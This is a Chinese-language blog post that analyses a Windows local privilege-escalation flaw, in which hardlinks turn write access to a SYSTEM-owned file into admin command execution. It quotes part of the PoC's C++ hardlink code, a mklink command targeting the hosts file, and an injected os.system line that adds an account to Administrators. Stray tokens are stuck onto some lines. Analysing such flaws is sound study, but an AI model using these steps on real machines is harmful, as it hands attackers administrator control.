睜眼一看,媽呀本地提權,快加入本地提權漏洞利用包裏,速度加入。github鏈接我就不發了。擔憂被認爲是傳播黑客工具,我們在這裏單純學習一下漏洞的原理和部分源代碼。c++
爲啥能提權,基本原理先說一下,這個漏洞可讓你擁有「文件讀寫權限轉命令執行權限」的典型案例,利用一個低權限獲取高權限文件的讀寫權限,便可利用惡意代碼注入,劫持dll等方式賦予本身高權限或者劫持高權限,從而得到命令執行的權限。舉個例子:有一個system的py腳本會按期運行,你沒有這個腳本的徹底控制權限,可是有讀寫權限,你能夠在裏面增長一部分代碼,好比下面,那麼你在執行的時候,你本身的xxx帳號就變成了管理員權限了。git
os.system("net localgroup Administrators xxx /add")
真正的效果如圖(在其餘電腦上截的圖)
github
那麼問題來了,這個漏洞是如和讓你擁有這類文件的權限的呢,咱們先來補一補Windows系統的基礎知識。安全
先來看看巨硬官網咋說
函數
簡單來講就是硬連接指向的仍是原來的文件的文件描述符,因此安全描述符應該是在不一樣的硬連接、軟連接、原文件之間共享的。因此這就是爲啥修改硬連接的權限致使原文件的權限也會被修改,由於都是一個安全描述符啊。
咱們嘗試使用使用mklink來創建硬連接工具
mklink /h C:\1 C:\Windows\System32\drivers\etc\hosts
那麼問題來了,咱們須要在這個低權限帳戶下建立硬連接啊,否則怎麼辦,提權走這條路,臥槽,老子能提權還作這個幹啥。這個事自己不就是提權嘛。查一波文檔,mklink使用的系統API是CreateHardLink
也不行啊,懷疑這個系統API中有權限檢查,咱們來看一下PoC中的代碼,找到CreateHardLink學習
bool CreateHardlink(_TCHAR* src, _TCHAR* dst) { if (CreateNativeHardlink(src, dst)) { //printf("[+] Done!\n"); return true; } else { printf("Error creating hardlink: %ls\n", GetErrorMessage().c_str()); return false; } }
嗯 ,這裏使用了自定義函數CreateNativeHardLinkui
bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname) { std::wstring full_linkname = BuildFullPath(linkname, true); size_t len = full_linkname.size() * sizeof(WCHAR); typed_buffer_ptr<FILE_LINK_INFORMATION> link_info(sizeof(FILE_LINK_INFORMATION) + len - sizeof(WCHAR)); memcpy(&link_info->FileName[0], full_linkname.c_str(), len); link_info->ReplaceIfExists = TRUE; link_info->FileNameLength = len; std::wstring full_targetname = BuildFullPath(targetname, true); HANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr, MAXIMUM_ALLOWED, FILE_SHARE_READ, 0); if (hFile) { DEFINE_NTDLL(ZwSetInformationFile); IO_STATUS_BLOCK io_status = { 0 }; NTSTATUS status = fZwSetInformationFile(hFile, &io_status, link_info, link_info.size(), FileLinkInformation); CloseHandle(hFile); if (NT_SUCCESS(status)) { return true; } SetNtLastError(status); } return false; }
看起來就是建立了一個硬連接,沒有別的,這個過程沒有看到身份認證和鑑權的操做,我理解應該是這裏經過本身實現建立硬連接的函數來規避了權限檢查啊,可是這個方面沒有資料支撐,還須要進一步研究。code